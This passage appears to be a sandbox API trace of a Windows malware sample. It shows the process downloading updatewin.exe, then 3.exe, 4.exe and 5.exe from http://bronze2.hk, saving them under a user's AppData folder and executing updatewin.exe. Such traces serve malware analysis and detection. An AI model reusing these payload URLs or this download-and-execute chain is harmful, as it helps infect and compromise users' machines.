hHeap=0x6d0000) returned 1 [0050.163] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://bronze2.hk/tesptc/penelop/updatewin.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0050.330] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3130f00 | out: hHeap=0x6d0000) returned 1 [0050.330] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x9a5d6d0, lpdwBufferLength=0x9a5d710, lpdwIndex=0x0 | out: lpBuffer=0x9a5d6d0*, lpdwBufferLength=0x9a5d710*=0x4, lpdwIndex=0x0) returned 1 [0050.330] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x316c268 [0050.330] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x20) returned 0x314e698 [0050.330] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x316c268 | out: hHeap=0x6d0000) returned 1 [0050.330] lstrcpyA (in: lpString1=0x30d2218, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40" [0050.330] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40", pMore="updatewin.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin.exe") returned 1 [0050.330] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x60) returned 0x3165f28 [0050.331] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ec [0050.332] SetFilePointer (in: hFile=0x6ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.332] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.333] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.334] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.389] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.390] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.391] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.391] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.453] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.454] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.455] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.456] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.456] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.456] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.457] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.457] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.458] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.458] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.458] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.458] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.509] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.509] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.513] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.514] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.514] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.514] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.516] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.516] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.518] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.519] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.519] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.519] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.522] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.522] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.523] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.523] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.526] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.526] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.527] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.527] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.568] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.569] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.569] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.569] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.571] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.571] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.573] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.573] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.575] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.576] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.579] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.579] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.581] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.582] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.583] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.583] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x1e00) returned 1 [0050.583] WriteFile (in: hFile=0x6ec, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x1e00, lpOverlapped=0x0) returned 1 [0050.584] CloseHandle (hObject=0x6ec) returned 1 [0050.586] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0050.594] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0050.594] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0050.644] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3165f28 | out: hHeap=0x6d0000) returned 1 [0050.644] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x314e698 | out: hHeap=0x6d0000) returned 1 [0050.644] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3177140 | out: hHeap=0x6d0000) returned 1 [0050.644] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0050.644] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x30) returned 0x31405c8 [0050.644] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x854) returned 0x30d3270 [0050.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x31405c8, cbMultiByte=-1, lpWideCharStr=0x30d3270, cchWideChar=1066 | out: lpWideCharStr="http://bronze2.hk/tesptc/penelop/3.exe") returned 39 [0050.644] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x860) returned 0x3177140 [0050.644] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d3270 | out: hHeap=0x6d0000) returned 1 [0050.645] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x31405c8 | out: hHeap=0x6d0000) returned 1 [0050.645] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x860) returned 0x30d3270 [0050.645] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x82a) returned 0x3130f00 [0050.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://bronze2.hk/tesptc/penelop/3.exe", cchWideChar=-1, lpMultiByteStr=0x3130f00, cbMultiByte=2090, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://bronze2.hk/tesptc/penelop/3.exe", lpUsedDefaultChar=0x0) returned 39 [0050.645] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x3131788 [0050.645] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3130f00 | out: hHeap=0x6d0000) returned 1 [0050.645] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d3270 | out: hHeap=0x6d0000) returned 1 [0050.645] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://bronze2.hk/tesptc/penelop/3.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0050.822] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3131788 | out: hHeap=0x6d0000) returned 1 [0050.822] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x9a5d6d0, lpdwBufferLength=0x9a5d710, lpdwIndex=0x0 | out: lpBuffer=0x9a5d6d0*, lpdwBufferLength=0x9a5d710*=0x4, lpdwIndex=0x0) returned 1 [0050.822] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3177140 | out: hHeap=0x6d0000) returned 1 [0050.822] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0010 [0050.822] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x30) returned 0x3140830 [0050.822] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x854) returned 0x30d3270 [0050.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3140830, cbMultiByte=-1, lpWideCharStr=0x30d3270, cchWideChar=1066 | out: lpWideCharStr="http://bronze2.hk/tesptc/penelop/4.exe") returned 39 [0050.823] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x860) returned 0x3177140 [0050.823] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d3270 | out: hHeap=0x6d0000) returned 1 [0050.823] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3140830 | out: hHeap=0x6d0000) returned 1 [0050.823] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x860) returned 0x30d3270 [0050.823] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x82a) returned 0x3131788 [0050.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://bronze2.hk/tesptc/penelop/4.exe", cchWideChar=-1, lpMultiByteStr=0x3131788, cbMultiByte=2090, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://bronze2.hk/tesptc/penelop/4.exe", lpUsedDefaultChar=0x0) returned 39 [0050.823] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x3130f00 [0050.823] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3131788 | out: hHeap=0x6d0000) returned 1 [0050.823] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d3270 | out: hHeap=0x6d0000) returned 1 [0050.823] InternetOpenUrlA (hInternet=0xcc0010, lpszUrl="http://bronze2.hk/tesptc/penelop/4.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0018 [0051.000] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3130f00 | out: hHeap=0x6d0000) returned 1 [0051.000] HttpQueryInfoW (in: hRequest=0xcc0018, dwInfoLevel=0x20000013, lpBuffer=0x9a5d6d0, lpdwBufferLength=0x9a5d710, lpdwIndex=0x0 | out: lpBuffer=0x9a5d6d0*, lpdwBufferLength=0x9a5d710*=0x4, lpdwIndex=0x0) returned 1 [0051.000] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3177140 | out: hHeap=0x6d0000) returned 1 [0051.001] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc001c [0051.001] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x30) returned 0x31408a0 [0051.001] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x854) returned 0x30d3270 [0051.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x31408a0, cbMultiByte=-1, lpWideCharStr=0x30d3270, cchWideChar=1066 | out: lpWideCharStr="http://bronze2.hk/tesptc/penelop/5.exe") returned 39 [0051.001] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x860) returned 0x3177140 [0051.001] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d3270 | out: hHeap=0x6d0000) returned 1 [0051.001] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x31408a0 | out: hHeap=0x6d0000) returned 1 [0051.001] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x860) returned 0x30d3270 [0051.001] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x82a) returned 0x3130f00 [0051.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://bronze2.hk/tesptc/penelop/5.exe", cchWideChar=-1, lpMultiByteStr=0x3130f00, cbMultiByte=2090, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://bronze2.hk/tesptc/penelop/5.exe", lpUsedDefaultChar=0x0) returned 39 [0051.001] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x830) returned 0x3131788 [0051.001] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3130f00 | out: hHeap=0x6d0000) returned 1 [0051.001] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d3270 | out: hHeap=0x6d0000) returned 1 [0051.001] InternetOpenUrlA (hInternet=0xcc001c, lpszUrl="http://bronze2.hk/tesptc/penelop/5.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0024 [0051.174] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3131788 | out: hHeap=0x6d0000) returned 1 [0051.174] HttpQueryInfoW (in: hRequest=0xcc0024, dwInfoLevel=0x20000013, lpBuffer=0x9a5d6d0, lpdwBufferLength=0x9a5d710, lpdwIndex=0x0 | out: lpBuffer=0x9a5d6d0*, lpdwBufferLength=0x9a5d710*=0x4, lpdwIndex=0x0) returned 1 [0051.174] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x30) returned 0x3140948 [0051.174] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3140948 | out: hHeap=0x6d0000) returned 1 [0051.174] lstrcpyA (in: lpString1=0x30d2218, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40" [0051.174] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40", pMore="5.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\5.exe") returned 1 